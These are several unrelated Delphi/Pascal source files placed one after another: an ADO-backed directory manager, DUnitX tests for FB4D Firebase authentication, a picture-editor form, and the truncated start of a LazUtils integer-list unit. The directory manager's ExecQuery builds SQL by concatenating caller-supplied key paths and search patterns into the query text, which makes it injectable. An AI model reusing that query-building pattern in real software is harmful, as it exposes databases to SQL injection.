'@value_name' , adVarChar, adParamInput , 128, value_name ); parm3 := cmd.CreateParameter( '@kind_of' , adTinyInt, adParamOutput , 4, result ); Params := Parameters; with Params do begin Append(parm0); Append(parm1); Append(parm2); Append(parm3); end; rs := Execute(rsm, Params, 0 ); if parm3.Value <> null then result := parm3.Value else result := -1; end finally Set_ActiveConnection(nil); Params._release; EndConnection; end; end; except on e : Exception do begin result := -1; Log('ERROR: TypeOf ' + e.message + '---->' + FullPathNode + ' = ' + IntToStr(result) ); end; end; end;{ TDirectoryManager.TypeOf } function TDirectoryManager.pIsSecureValue( FullPathName : string ) : boolean; var cmd : _Command; rsm, ret : olevariant; value_name, full_path : string; parm0, parm1, parm2, parm3 : _Parameter; rs : _Recordset; Params : Parameters; begin try result := false; if InitConnection then begin cmd := CoCommand.Create; with cmd do try full_path := FullPathName; value_name := SplitFullPath( full_path ); if value_name <> '' then begin cmd.Set_ActiveConnection(conn); cmd.CommandText := 'proc_IsSecurityValue'; cmd.CommandType := adCmdStoredProc; parm0 := cmd.CreateParameter( 'RETURN_VALUE', adInteger, adParamReturnValue, 4, ret ); parm1 := cmd.CreateParameter( '@key_path' , adVarChar, adParamInput , 1024, full_path ); parm2 := cmd.CreateParameter( '@value_name' , adVarChar, adParamInput , 128, value_name ); parm3 := cmd.CreateParameter( '@is_secured' , adBoolean, adParamOutput , 1, result ); Params := Parameters; with Params do begin Append(parm0); Append(parm1); Append(parm2); Append(parm3); end; rs := Execute(rsm, Params, 0); if parm3.Value <> null then result := parm3.Value else result := false end; finally Set_ActiveConnection(nil); Params._release; EndConnection; end; end; except on e : Exception do begin result := false; Log('ERROR: pIsSecureKey ' + e.message ); end; end; end;{ TDirectoryManager.IsSecureKey } function TDirectoryManager.pIsSecureKey( FullKeyName : string ) : boolean; var cmd : _Command; rsm, ret : olevariant; parm0, parm1, parm2 : _Parameter; rs : _Recordset; Params : Parameters; begin try result := false; if InitConnection then begin cmd := CoCommand.Create; with cmd do try Set_ActiveConnection(conn); CommandText := 'proc_IsSecurityKey'; CommandType := adCmdStoredProc; parm0 := CreateParameter( 'RETURN_VALUE', adInteger, adParamReturnValue, 4, ret ); parm1 := CreateParameter( '@key_path' , adVarChar, adParamInput , 1024, FullKeyName ); parm2 := CreateParameter( '@is_secured' , adBoolean, adParamOutput , 1, result ); Params := Parameters; with Params do begin Append(parm0); Append(parm1); Append(parm2); end; rs := Execute(rsm, Params, 0 ); if parm2.Value <> null then result := parm2.Value else result := false finally Set_ActiveConnection(nil); Params._release; EndConnection; end; end; except on e : Exception do begin result := false; Log('ERROR: pIsSecureValue ' + e.message ); end; end; end;{ TDirectoryManager.IsSecureValue } function TDirectoryManager.DeleteValue( FullPathName : string ) : boolean; var cmd : _Command; rsm, ret : olevariant; parm0, parm1, parm2 : _Parameter; value_name, full_path : string; Params : Parameters; rs : _Recordset; begin result := false; try if fDirSecurity then begin if pFullPathValueExists( FullPathName ) then begin if InitConnection then begin cmd := CoCommand.Create; with cmd do try full_path := FullPathName; value_name := SplitFullPath( full_path ); if value_name <> '' then begin cmd.Set_ActiveConnection(conn); cmd.CommandText := 'proc_DeleteValue'; cmd.CommandType := adCmdStoredProc; parm0 := cmd.CreateParameter( 'RETURN_VALUE', adInteger, adParamReturnValue, 4, ret ); parm1 := cmd.CreateParameter( '@key_path' , adVarChar, adParamInput , 1024, full_path ); parm2 := cmd.CreateParameter( '@value_name' , adVarChar, adParamInput , 1024, value_name ); Params := cmd.Parameters; with Params do begin Append(parm0); Append(parm1); Append(parm2); end; rs := Execute(rsm, Params, 0 ); result := rsm > 0 end; finally Set_ActiveConnection(nil); Params._release; EndConnection; end end end end except on e : Exception do begin result := false; Log('ERROR: pIsSecureValue ' + e.message ); end; end; end; { TDirectoryManager.DeleteValue } function TDirectoryManager.pFullPathKeyExists( FullPathKey : string ) : boolean; var cmd : _Command; rsm, ret : olevariant; parm0, parm1, parm2 : _Parameter; Params : Parameters; rs : _Recordset; begin try result := false; if InitConnection then begin cmd := CoCommand.Create; with cmd do try cmd.Set_ActiveConnection(conn); cmd.CommandText := 'proc_FullPathKeyExists'; cmd.CommandType := adCmdStoredProc; parm0 := cmd.CreateParameter( 'RETURN_VALUE', adInteger, adParamReturnValue, 4, ret ); parm1 := cmd.CreateParameter( '@key_path' , adVarChar, adParamInput , 1024, FullPathKey ); parm2 := cmd.CreateParameter( '@is_secured' , adBoolean, adParamOutput , 1, result ); Params := cmd.Parameters; with Params do begin Append(parm0); Append(parm1); Append(parm2); end; rs := Execute(rsm, Params, 0 ); if parm2.Value <> null then result := parm2.Value else result := false; finally Set_ActiveConnection(nil); Params._release; EndConnection; end; end; except on e : Exception do begin result := false; Log('ERROR: pFullPathKeyExists ' + e.message); end; end end;{ TDirectoryManager.pFullPathKeyExists } function TDirectoryManager.pFullPathValueExists( FullPathName : string ) : boolean; var cmd : _Command; rsm, ret : olevariant; value_name, full_path : string; parm0, parm1, parm2, parm3 : _Parameter; Params : Parameters; rs : _Recordset; begin try result := false; if InitConnection then begin cmd := CoCommand.Create; with cmd do try full_path := FullPathName; value_name := SplitFullPath( full_path ); if value_name <> '' then begin cmd.Set_ActiveConnection(conn); cmd.CommandText := 'proc_FullPathValueExists'; cmd.CommandType := adCmdStoredProc; parm0 := cmd.CreateParameter( 'RETURN_VALUE', adInteger, adParamReturnValue, 4, ret ); parm1 := cmd.CreateParameter( '@key_path' , adVarChar, adParamInput , 1024, full_path ); parm2 := cmd.CreateParameter( '@value_name' , adVarChar, adParamInput , 128, value_name ); parm3 := cmd.CreateParameter( '@value_exist' , adBoolean, adParamOutput , 1, result ); Params := cmd.Parameters; with Params do begin Append(parm0); Append(parm1); Append(parm2); Append(parm3); end; rs := Execute(rsm, Params, 0 ); if parm3.Value <> null then result := parm3.Value else result := false; end; finally Set_ActiveConnection(nil); Params._release; EndConnection; end; end; except on e : Exception do begin result := false; Log('ERROR: pIsSecureValue ' + e.message ); end; end; end;{ TDirectoryManager.pFullPathValueExists } function TDirectoryManager.IntegrateValues( FullPathName : widestring ) : olevariant; var cmd : _Command; rsm, ret : olevariant; parm0, parm1, parm2 : _Parameter; Params : Parameters; rs : _Recordset; begin try result := false; if InitConnection then begin cmd := CoCommand.Create; with cmd do try cmd.Set_ActiveConnection(conn); cmd.CommandText := 'proc_IntegrateValues'; cmd.CommandType := adCmdStoredProc; parm0 := cmd.CreateParameter( 'RETURN_VALUE', adInteger, adParamReturnValue, 4, ret ); parm1 := cmd.CreateParameter( '@key_path' , adVarChar, adParamInput , 1024, FullPathName ); parm2 := cmd.CreateParameter( '@result' , adDouble , adParamOutput , 1, result ); Params := cmd.Parameters; with Params do begin Append(parm0); Append(parm1); Append(parm2); end; rs := Execute(rsm, Params, 0 ); if parm2.Value <> null then result := parm2.Value else result := 0; finally Set_ActiveConnection(nil); Params._release; EndConnection; end; end; except on e : Exception do begin result := 0; Log('ERROR: IntegrateValues ' + e.message ); end; end; end;{ TDirectoryManager.IntegrateValues } function TDirectoryManager.EditKey( FullPathKey, newName, oldName : widestring; Security : byte ) : olevariant; var cmd : _Command; rsm, ret : olevariant; parm0, parm1, parm2, parm3, parm4 : _Parameter; Params : Parameters; rs : _Recordset; begin try result := false; if fDirSecurity then begin if InitConnection then begin cmd := CoCommand.Create; with cmd do try cmd.Set_ActiveConnection(conn); cmd.CommandText := 'proc_RenameKey'; cmd.CommandType := adCmdStoredProc; parm0 := cmd.CreateParameter('RETURN_VALUE' , adInteger, adParamReturnValue, 4, ret ); parm1 := cmd.CreateParameter('@full_path' , adVarChar, adParamInput , 1024, FullPathKey ); parm2 := cmd.CreateParameter('@new_key_name', adVarChar, adParamInput , 128, newName ); parm3 := cmd.CreateParameter('@old_key_name', adVarChar, adParamInput , 128, oldName ); parm4 := cmd.CreateParameter('@is_secured' , adBoolean, adParamInput , 1, Security ); Params := cmd.Parameters; with Params do begin Append(parm0); Append(parm1); Append(parm2); Append(parm3); Append(parm4); end; rs := Execute( rsm, Params, 0 ); result := rsm > 0 finally Set_ActiveConnection(nil); Params._release; EndConnection; end end end except on e : Exception do begin result := false; Log('ERROR: EditKey ' + e.message ); end; end; end;{ TDirectoryManager.EditKey } function TDirectoryManager.ExecQuery( FullKeyName, SearchPattern, ValueNameList : string ) : string; var i, j, Count, idx, row, p : integer; value, Element, SubElement : string; query, RowsFields, resultList, valueNames : TStringList; function queryFormat( str : string ) : string; var i : integer; begin for i := 1 to length(str) do if str[i] = '*' then str[i] := '%'; result := str; end;{ queryFormat } function GetPosition( Entry : string ) : integer; var i : integer; Find : boolean; begin i := 0; Find := false; while not Find and (i < valueNames.Count ) do begin if System.Pos( UpperCase(valueNames[i]), UpperCase(Entry) ) > 0 then Find := true else inc(i); end; if Find then result := i else result := -1; end;{ GetPosition } function TruncateKey( KeyName, FullKeyName : string ) : string; var lsPos : integer; begin result := System.copy(KeyName, length(FullKeyName) + 2, length(KeyName) ); lsPos := System.Pos( '/', result ); if lsPos > 0 then result := System.copy(result, 0, lsPos - 1 ); end;{ TruncateKey } function queryValuesName : string; var valueName : string; lsPos, i : integer; begin result := 'v.name = '; for i := 0 to valueNames.Count - 1 do begin lsPos := LastDelimiter( '/', valueNames.Strings[i] ); if lsPos > 0 then valueName := System.copy(valueNames.Strings[i], lsPos + 1, length(valueNames.Strings[i]) ) else valueName := valueNames.Strings[i]; result := result + '''' + valueName + ''''; if i < valueNames.Count - 1 then result := result + ' or v.name = ' end; end;{ queryValuesName } function queryKeysName : string; var lsPos, i : integer; keyName : string; begin result := ''; for i := 0 to valueNames.Count - 1 do begin lsPos := LastDelimiter( '/', valueNames.Strings[i] ); if lsPos > 0 then begin keyName := System.copy(valueNames.Strings[i], 0, lsPos - 1); keyName := '''' + '%/' + keyName + ''''; if Pos(keyName, result ) = 0 then begin if i <> 0 then result := result + ' or '; result := result + 'full_path LIKE ' + keyName; end; end end; if result <> '' then result := 'and ( ' + result + ')' end;{ queryKeysName } begin query := TStringList.Create; valueNames := TStringList.Create; resultList := TStringList.Create; RowsFields := TStringList.Create; try valueNames.Text := string( Lowercase(ValueNameList) ); if valueNames.Count > 0 then begin try if IsSecureKey( FullKeyName ) <= IntToStr( Ord(fDirSecurity) ) then begin query.Add('SELECT p.full_path, v.name, v.value'); query.Add('FROM tbl_KeyPaths p, tbl_Values v'); if SearchPattern = '' then begin query.Add('WHERE full_path LIKE ' + '''' + FullKeyName + '/%' + '''' ); query.Add( queryKeysName + ' and p.key_id = v.parent_key_id and ( ' + queryValuesName + ')' ); end else begin query.Add('WHERE full_path LIKE ' + '''' + FullKeyName + '/' + queryFormat(SearchPattern) + '''' ); query.Add('and p.key_id = v.parent_key_id and ( ' + queryValuesName + ')' ); end; query.Add('Order BY full_path, v.Name '); RowsFields.Text := ExecuteQuery( query.Text, 3 ); Count := RowsFields.Count div 3; resultList.Values['Count'] := '0'; if count > 0 then begin row := 0; idx := 0; while row <= Count - 1 do begin Element := TruncateKey( RowsFields.Strings[3 * row], FullKeyName ); resultList.Values['Key' + IntToStr(idx)] := Element; j := 0; for i := row to row + ValueNames.Count - 1 do begin if i <= Count - 1 then begin subElement := TruncateKey( RowsFields.Strings[i * 3], FullKeyName ); if subElement = Element then begin SubElement := RowsFields.Strings[i * 3] + '/' + RowsFields.Strings[i * 3 + 1]; p := GetPosition(SubElement); if p >= 0 then begin value := SplitString( RowsFields.Strings[i * 3 + 2] ); resultList.Values[ valueNames[p] + IntToStr(idx) ] := value; end; inc(j); end; end; end; inc(idx); inc(row, j); end; resultList.Values['Count'] := IntToStr(idx); end; end else resultList.Values['Count'] := '0'; result := resultList.Text; finally RowsFields.free; resultList.Free; valueNames.free; query.Free; end; end; except on e : Exception do begin result := ''; Log('ERROR: QueryKey ' + e.message ); end; end; end;{ TDirectoryManager.ExcQuery } function TDirectoryManager.InitConnection : boolean; var Conn_Str : string; begin try Conn_Str := 'Provider=SQLOLEDB.1; Initial Catalog=' + fDBName + '; Data Source=' + DirectoryWin.IPAddress.Text; Conn.Open(Conn_Str, dbUser, dbPassword, 0); Conn.Set_CommandTimeout(0); result := true; except raise; result := false; end; end;{ TDirectoryManager.QueryFind } procedure TDirectoryManager.EndConnection; begin try Conn.Close; except raise; end; end;{ TDirectoryManager.EndConnection } function TDirectoryManager.ExecuteQuery( query : String; nfields : integer ) : String; var rs : _RecordsetDisp; rec_Count : olevariant; FieldList : TStringList; i : integer; aux : string; begin if InitConnection then begin try FieldList := TStringList.Create; try rs := Conn.Execute(query, rec_count, 0) as _RecordsetDisp; while not rs.EOF do begin for i := 0 to nFields - 1 do begin aux := LinkString(rs.Fields.Item[i].Value); FieldList.Add(aux); end; rs.MoveNext; end; result := FieldList.Text; finally rs.Close; FieldList.Free; EndConnection; end; except result := ''; raise; end end else result := ''; end;{ TDirectoryManager.qSelectRowsIncludingValues } initialization Log( 'Running at: ' + DateTimeToStr(Now) ); fillchar(Nothing, sizeof(Nothing), 0); TVarData(Nothing).VType := varDispatch; finalization Log( 'Stopping at: ' + DateTimeToStr(Now) ); end.
{******************************************************************************} { } { Delphi FB4D Library } { Copyright (c) 2018-2022 Christoph Schneider } { Schneider Infosystems AG, Switzerland } { https://github.com/SchneiderInfosystems/FB4D } { } {******************************************************************************} { } { Licensed under the Apache License, Version 2.0 (the "License"); } { you may not use this file except in compliance with the License. } { You may obtain a copy of the License at } { } { http://www.apache.org/licenses/LICENSE-2.0 } { } { Unless required by applicable law or agreed to in writing, software } { distributed under the License is distributed on an "AS IS" BASIS, } { WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. } { See the License for the specific language governing permissions and } { limitations under the License. } { } {******************************************************************************} unit Authentication; interface uses System.Classes, System.SysUtils, DUnitX.TestFramework, FB4D.Interfaces; {$M+} type [TestFixture] UT_Authentication = class(TObject) private fConfig: IFirebaseConfiguration; fUser: IFirebaseUser; fErrMsg: string; fReqID: string; fInfo: string; fEMail: string; fIsRegistered: boolean; fProviders: string; fCallBack: boolean; procedure OnUserResponse(const Info: string; User: IFirebaseUser); procedure OnError(const RequestID, ErrMsg: string); procedure OnFetchProviders(const EMail: string; IsRegistered: boolean; Providers: TStrings); procedure OnResp(const RequestID: string; Response: IFirebaseResponse); procedure OnGetUserData(FirebaseUserList: TFirebaseUserList); public [Setup] procedure Setup; [TearDown] procedure TearDown; published [TestCase] procedure SignUpWithEmailAndPasswordSynchronous; procedure SignUpWithEmailAndPassword; procedure SignUpWithEmailAndPasswordSynchronousFail; procedure SignUpWithEmailAndPasswordFail; procedure SignInWithEmailAndPasswordSynchronous; procedure SignInWithEmailAndPassword; procedure SignInWithEmailAndPasswordSynchronousFail; procedure SignInWithEmailAndPasswordFail; procedure SignInAnonymouslySynchronous; procedure SignInAnonymously; procedure LinkWithEMailAndPasswordSynchronous; procedure LinkWithEMailAndPassword; procedure FetchProvidersForEMailSynchronous; procedure FetchProvidersForEMail; procedure ChangeProfileSynchronousAndGetUserDataSynchronous; procedure ChangeProfileAndGetUserData; end; implementation uses VCL.Forms, FB4D.Configuration, Consts; {$I FBConfig.inc} const cDisplayName = 'The Tester'; cPhotoURL = 'https://www.schneider-infosys.ch/img/Christoph.png'; procedure UT_Authentication.Setup; begin fConfig := TFirebaseConfiguration.Create(cApiKey, cProjectID, cBucket); fUser := nil; fErrMsg := ''; fReqID := ''; fInfo := ''; fEMail := ''; fIsRegistered := false; fProviders := ''; fCallBack := false; end; procedure UT_Authentication.TearDown; begin if assigned(fUser) then fConfig.Auth.DeleteCurrentUserSynchronous; fUser := nil; fConfig := nil; end; { Call back } procedure UT_Authentication.OnError(const RequestID, ErrMsg: string); begin fReqID := RequestID; fErrMsg := ErrMsg; fCallBack := true; end; procedure UT_Authentication.OnUserResponse(const Info: string; User: IFirebaseUser); begin fInfo := Info; fUser := User; fCallBack := true; end; procedure UT_Authentication.OnFetchProviders(const EMail: string; IsRegistered: boolean; Providers: TStrings); begin fEMail := EMail; fIsRegistered := IsRegistered; fProviders := Providers.CommaText; fCallBack := true; end; procedure UT_Authentication.OnResp(const RequestID: string; Response: IFirebaseResponse); begin fReqID := RequestID; fCallBack := true; end; procedure UT_Authentication.OnGetUserData(FirebaseUserList: TFirebaseUserList); begin if FirebaseUserList.Count < 1 then fUser := nil else fUser := FirebaseUserList.Items[0]; fCallBack := true; end; { Test Cases } procedure UT_Authentication.SignUpWithEmailAndPasswordSynchronous; begin fUser := fConfig.Auth.SignUpWithEmailAndPasswordSynchronous(cEmail, cPassword); Assert.IsNotNull(fUser, 'No user created'); Assert.IsTrue(fUser.IsEMailAvailable, 'No EMail'); Assert.AreEqual(fUser.EMail, cEMail, 'Wrong EMail'); Assert.IsNotEmpty(fUser.UID, 'UID is empty'); Assert.IsNotEmpty(fUSer.Token, 'Token is empty'); end; procedure UT_Authentication.SignUpWithEmailAndPassword; begin fConfig.Auth.SignUpWithEmailAndPassword(cEmail, cPassword, OnUserResponse, OnError); while not fCallBack do Application.ProcessMessages; Assert.IsEmpty(fErrMsg, 'Error: ' + fErrMsg); Assert.IsNotNull(fUser, 'No user created'); Assert.IsTrue(fUser.IsEMailAvailable, 'No EMail'); Assert.AreEqual(fUser.EMail, cEMail, 'Wrong EMail'); Assert.IsNotEmpty(fUser.UID, 'UID is empty'); Assert.IsNotEmpty(fUSer.Token, 'Token is empty'); end; procedure UT_Authentication.SignUpWithEmailAndPasswordSynchronousFail; begin // precondition is a created user SignUpWithEmailAndPasswordSynchronous; fUser := nil; // start test Status('Try create already registered email again'); Assert.WillRaise( procedure begin fUser := fConfig.Auth.SignUpWithEmailAndPasswordSynchronous(cEmail, cPassword); end, EFirebaseResponse, 'EMAIL_EXISTS'); Assert.IsNull(fUser, 'User created'); fConfig.Auth.DeleteCurrentUserSynchronous; end; procedure UT_Authentication.SignUpWithEmailAndPasswordFail; begin // precondition is a created user SignUpWithEmailAndPasswordSynchronous; fUser := nil; // start test Status('Try create already registered email again'); fConfig.Auth.SignUpWithEmailAndPassword(cEmail, cPassword, OnUserResponse, OnError); while not fCallBack do Application.ProcessMessages; Assert.AreEqual(fErrMsg, 'EMAIL_EXISTS'); Assert.IsNull(fUser, 'User created'); fConfig.Auth.DeleteCurrentUserSynchronous; end; procedure UT_Authentication.SignInWithEmailAndPasswordSynchronous; begin // precondition is a created user SignUpWithEmailAndPasswordSynchronous; fConfig.Auth.SignOut; fUser := nil; // start test fUser := fConfig.Auth.SignInWithEmailAndPasswordSynchronous(cEmail, cPassword); Assert.IsNotNull(fUser, 'No user created'); Assert.IsTrue(fUser.IsEMailAvailable, 'No EMail'); Assert.AreEqual(fUser.EMail, cEMail, 'Wrong EMail'); Assert.IsNotEmpty(fUser.UID, 'UID is empty'); Assert.IsNotEmpty(fUSer.Token, 'Token is empty'); end; procedure UT_Authentication.SignInWithEmailAndPassword; begin // precondition is a created user SignUpWithEmailAndPasswordSynchronous; fConfig.Auth.SignOut; fUser := nil; // start test fConfig.Auth.SignInWithEmailAndPassword(cEmail, cPassword, OnUserResponse, OnError); while not fCallBack do Application.ProcessMessages; Assert.IsEmpty(fErrMsg, 'Error: ' + fErrMsg); Assert.IsNotNull(fUser, 'No user created'); Assert.IsTrue(fUser.IsEMailAvailable, 'No EMail'); Assert.AreEqual(fUser.EMail, cEMail, 'Wrong EMail'); Assert.IsNotEmpty(fUser.UID, 'UID is empty'); Assert.IsNotEmpty(fUSer.Token, 'Token is empty'); end; procedure UT_Authentication.SignInWithEmailAndPasswordSynchronousFail; begin Status('Try login unregistered account'); Assert.WillRaise( procedure begin fUser := fConfig.Auth.SignInWithEmailAndPasswordSynchronous(cEmail, cPassword); end, EFirebaseResponse, 'EMAIL_NOT_FOUND'); Assert.IsNull(fUser, 'User exists'); end; procedure UT_Authentication.SignInWithEmailAndPasswordFail; begin Status('Try login unregistered account'); fConfig.Auth.SignInWithEmailAndPassword(cEmail, cPassword, OnUserResponse, OnError); while not fCallBack do Application.ProcessMessages; Assert.AreEqual(fErrMsg, 'EMAIL_NOT_FOUND'); Assert.IsNull(fUser, 'User exists'); end; procedure UT_Authentication.SignInAnonymouslySynchronous; begin fUser := fConfig.Auth.SignInAnonymouslySynchronous; Assert.IsNotNull(fUser, 'No user created'); Assert.IsFalse(fUser.IsEMailAvailable, 'Unexpected EMail'); Assert.IsNotEmpty(fUser.UID, 'UID is empty'); Assert.IsNotEmpty(fUSer.Token, 'Token is empty'); end; procedure UT_Authentication.SignInAnonymously; begin fConfig.Auth.SignInAnonymously(OnUserResponse, OnError); while not fCallBack do Application.ProcessMessages; Assert.IsEmpty(fErrMsg, 'Error: ' + fErrMsg); Assert.IsNotNull(fUser, 'No user created'); Assert.IsFalse(fUser.IsEMailAvailable, 'Unexpected EMail'); Assert.IsNotEmpty(fUser.UID, 'UID is empty'); Assert.IsNotEmpty(fUSer.Token, 'Token is empty'); end; procedure UT_Authentication.LinkWithEMailAndPasswordSynchronous; begin // precondition is an anonymous user SignInAnonymouslySynchronous; // start test fUser := fConfig.Auth.LinkWithEMailAndPasswordSynchronous(cEmail, cPassword); Assert.IsNotNull(fUser, 'No user created'); // re-login fUser := fConfig.Auth.SignInWithEmailAndPasswordSynchronous(cEmail, cPassword); Assert.IsNotNull(fUser, 'No user created'); Assert.IsTrue(fUser.IsEMailAvailable, 'No EMail'); Assert.AreEqual(fUser.EMail, cEMail, 'Wrong EMail'); Assert.IsNotEmpty(fUser.UID, 'UID is empty'); Assert.IsNotEmpty(fUSer.Token, 'Token is empty'); end; procedure UT_Authentication.LinkWithEMailAndPassword; begin // precondition is an anonymous user SignInAnonymouslySynchronous; // start test fConfig.Auth.LinkWithEMailAndPassword(cEmail, cPassword, OnUserResponse, OnError); while not fCallBack do Application.ProcessMessages; Assert.IsEmpty(fErrMsg, 'Error: ' + fErrMsg); Assert.IsNotNull(fUser, 'No user created'); // re-login fUser := fConfig.Auth.SignInWithEmailAndPasswordSynchronous(cEmail, cPassword); Assert.IsNotNull(fUser, 'No user created'); Assert.IsTrue(fUser.IsEMailAvailable, 'No EMail'); Assert.AreEqual(fUser.EMail, cEMail, 'Wrong EMail'); Assert.IsNotEmpty(fUser.UID, 'UID is empty'); Assert.IsNotEmpty(fUSer.Token, 'Token is empty'); end; procedure UT_Authentication.FetchProvidersForEMailSynchronous; var strs: TStringList; begin // precondition is a created user SignUpWithEmailAndPasswordSynchronous; // start test strs := TStringList.Create; try fConfig.Auth.FetchProvidersForEMailSynchronous(cEMail, strs); Assert.IsTrue(Pos('password', strs.CommaText) > 0, 'Password provider missing'); finally strs.Free; end; end; procedure UT_Authentication.FetchProvidersForEMail; begin // precondition is a created user SignUpWithEmailAndPasswordSynchronous; fConfig.Auth.FetchProvidersForEMail(cEMail, OnFetchProviders, OnError); while not fCallBack do Application.ProcessMessages; Assert.IsEmpty(fErrMsg, 'Error: ' + fErrMsg); Assert.IsNotNull(fUser, 'No user created'); Assert.IsTrue(fIsRegistered, 'EMail not registered'); Assert.IsTrue(Pos(cEMail, fEMail) > 0, 'EMail missing in RequestID'); Assert.IsTrue(Pos('password', fProviders) > 0, 'Password provider missing'); end; procedure UT_Authentication.ChangeProfileSynchronousAndGetUserDataSynchronous; var fUsers: TFirebaseUserList; begin // precondition is a created user fUser := fConfig.Auth.SignUpWithEmailAndPasswordSynchronous(cEmail, cPassword); Assert.IsNotNull(fUser, 'No user created'); Assert.IsTrue(fUser.IsEMailAvailable, 'No EMail'); Assert.AreEqual(fUser.EMail, cEMail, 'Wrong EMail'); Assert.IsNotEmpty(fUser.UID, 'UID is empty'); Assert.IsNotEmpty(fUSer.Token, 'Token is empty'); // start test fConfig.Auth.ChangeProfileSynchronous('', '', cDisplayName, cPhotoURL); fUsers := fConfig.Auth.GetUserDataSynchronous; Assert.AreEqual(fUsers.Count, 1 ,'No one user as expected'); fUser := fUsers.Items[0]; Assert.IsNotNull(fUser, 'No user created'); Assert.IsTrue(fUser.IsEMailAvailable, 'No EMail'); Assert.AreEqual(fUser.EMail, cEMail, 'Wrong EMail'); Assert.IsNotEmpty(fUser.UID, 'UID is empty'); Assert.IsTrue(fUser.IsDisplayNameAvailable, 'Display name not available'); Assert.AreEqual(fUser.DisplayName, cDisplayName, 'Wrong Display Name'); Assert.IsTrue(fUser.IsPhotoURLAvailable, 'Photo url not available'); Assert.AreEqual(fUser.PhotoURL, cPhotoURL, 'Wrong Photo URL'); end; procedure UT_Authentication.ChangeProfileAndGetUserData; begin // precondition is a created user fUser := fConfig.Auth.SignUpWithEmailAndPasswordSynchronous(cEmail, cPassword); Assert.IsNotNull(fUser, 'No user created'); Assert.IsTrue(fUser.IsEMailAvailable, 'No EMail'); Assert.AreEqual(fUser.EMail, cEMail, 'Wrong EMail'); Assert.IsNotEmpty(fUser.UID, 'UID is empty'); Assert.IsNotEmpty(fUSer.Token, 'Token is empty'); // start test fConfig.Auth.ChangeProfile('', '', cDisplayName, cPhotoURL, OnResp, OnError); while not fCallBack do Application.ProcessMessages; Assert.IsEmpty(fErrMsg, 'Error: ' + fErrMsg); fCallBack := false; fConfig.Auth.GetUserData(OnGetUserData, OnError); while not fCallBack do Application.ProcessMessages; Assert.IsEmpty(fErrMsg, 'Error: ' + fErrMsg); Assert.IsNotNull(fUser, 'No user created'); Assert.IsTrue(fUser.IsEMailAvailable, 'No EMail'); Assert.AreEqual(fUser.EMail, cEMail, 'Wrong EMail'); Assert.IsNotEmpty(fUser.UID, 'UID is empty'); Assert.IsTrue(fUser.IsDisplayNameAvailable, 'Display name not available'); Assert.AreEqual(fUser.DisplayName, cDisplayName, 'Wrong Display Name'); Assert.IsTrue(fUser.IsPhotoURLAvailable, 'Photo url not available'); Assert.AreEqual(fUser.PhotoURL, cPhotoURL, 'Wrong Photo URL'); end; initialization TDUnitX.RegisterTestFixture(UT_Authentication); end.
unit fcPicEdt; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls, ExtDlgs, TypInfo, fcCommon, fcBitmap; type TfcGraphicType = (gtBitmap, gtIcon, gtJPEG, gtEmf, gtWmf); const GRAPHICTYPES: array[TfcGraphicType] of string = ('Bitmap', 'Icon', 'JPEG Image', 'Enhanced Metafile', 'Windows Metafile'); type TfcPictureEditor = class(TForm) OKButton: TButton; CancelButton: TButton; HelpButton: TButton; Panel: TPanel; ImagePanel: TPanel; LoadButton: TButton; SaveButton: TButton; ClearButton: TButton; Image: TImage; OpenDialog: TOpenPictureDialog; SaveDialog: TSavePictureDialog; procedure LoadButtonClick(Sender: TObject); procedure SaveButtonClick(Sender: TObject); procedure ClearButtonClick(Sender: TObject); procedure HelpButtonClick(Sender: TObject); procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); private { Private declarations } procedure UpdateImage; public { Public declarations } StoredImage: TPicture; end; function fcExecutePictureEditor(AGraphic: TGraphic; DestGraphic: TPersistent): Boolean; var fcPictureEditor: TfcPictureEditor; implementation {$R *.DFM} function fcExecutePictureEditor(AGraphic: TGraphic; DestGraphic: TPersistent): Boolean; begin result := False; with TfcPictureEditor.Create(Application) do begin StoredImage.Assign(AGraphic); UpdateImage; if ShowModal = mrOK then begin result := True; DestGraphic.Assign(StoredImage.Graphic); end; Free; end; end; procedure TfcPictureEditor.UpdateImage; var s: TSize; begin if (StoredImage.Graphic <> nil) and not StoredImage.Graphic.Empty then begin s := fcSize(StoredImage.Width, StoredImage.Height); if (StoredImage.Width > Image.Width) or (StoredImage.Height > Image.Height) then begin if StoredImage.Width > StoredImage.Height then s := fcSize(Image.Width, Image.Width * StoredImage.Height div StoredImage.Width) else s := fcSize(Image.Height * StoredImage.Width div StoredImage.Height, Image.Height); end; Image.Picture.Bitmap.Width := s.cx; Image.Picture.Bitmap.Height := s.cy; Image.Picture.Bitmap.Canvas.StretchDraw(Rect(0, 0, s.cx, s.cy), StoredImage.Graphic); ImagePanel.Caption := ''; end else begin Image.Picture.Bitmap.Assign(nil); Image.Repaint; ImagePanel.Caption := '(None)'; end; end; procedure TfcPictureEditor.LoadButtonClick(Sender: TObject); begin if OpenDialog.Execute then begin StoredImage.LoadFromFile(OpenDialog.FileName); UpdateImage; end; end; procedure TfcPictureEditor.SaveButtonClick(Sender: TObject); begin if SaveDialog.Execute then StoredImage.SaveToFile(SaveDialog.FileName); end; procedure TfcPictureEditor.ClearButtonClick(Sender: TObject); begin StoredImage.Free; StoredImage := TPicture.Create; // StoredImage.RespectPalette := True; UpdateImage; end; procedure TfcPictureEditor.HelpButtonClick(Sender: TObject); var KLinkMacro: PChar; begin KLinkMacro := 'KL("Picture Editor", 1, "", "")'; WinHelp(Handle, PChar(Application.HelpFile), HELP_COMMAND, Integer(KLinkMacro)); end; procedure TfcPictureEditor.FormCreate(Sender: TObject); begin StoredImage := TPicture.Create; // StoredImage.RespectPalette := True; end; procedure TfcPictureEditor.FormDestroy(Sender: TObject); begin StoredImage.Free; end; end.
{ ***************************************************************************** This file is part of LazUtils. See the file COPYING.modifiedLGPL.txt, included in this distribution, for details about the license. ***************************************************************************** } // A list of integers implemented using generics. // Supports the same methods and properties as TStringList does for strings, except // for "Sorted" property. Thus integers cannot be added to a sorted list correctly. unit IntegerList; {$mode objfpc}{$H+} interface uses fgl; type TByteList = class(specialize TFPGList<Byte>) public procedure Sort; overload; end; TCardinalList = class(specialize TFPGList<Cardinal>) public procedure Sort; overload; end; TIntegerList = class(specialize TFPGList<Integer>) public procedure Sort; overload; end; TInt64List = class(specialize TFPGList<Int64>) public procedure Sort; overload; end; implementation function CompareByte(const Item1, Item2: Byte): Integer; begin if Item1 > Item2 then Result := 1 else if Item1 < Item2 then Result := -1 else Result := 0; end; function CompareCardinal(const Item1, Item2: Cardinal): Integer; begin if Item1 > Item2 then Result := 1 else if Item1 < 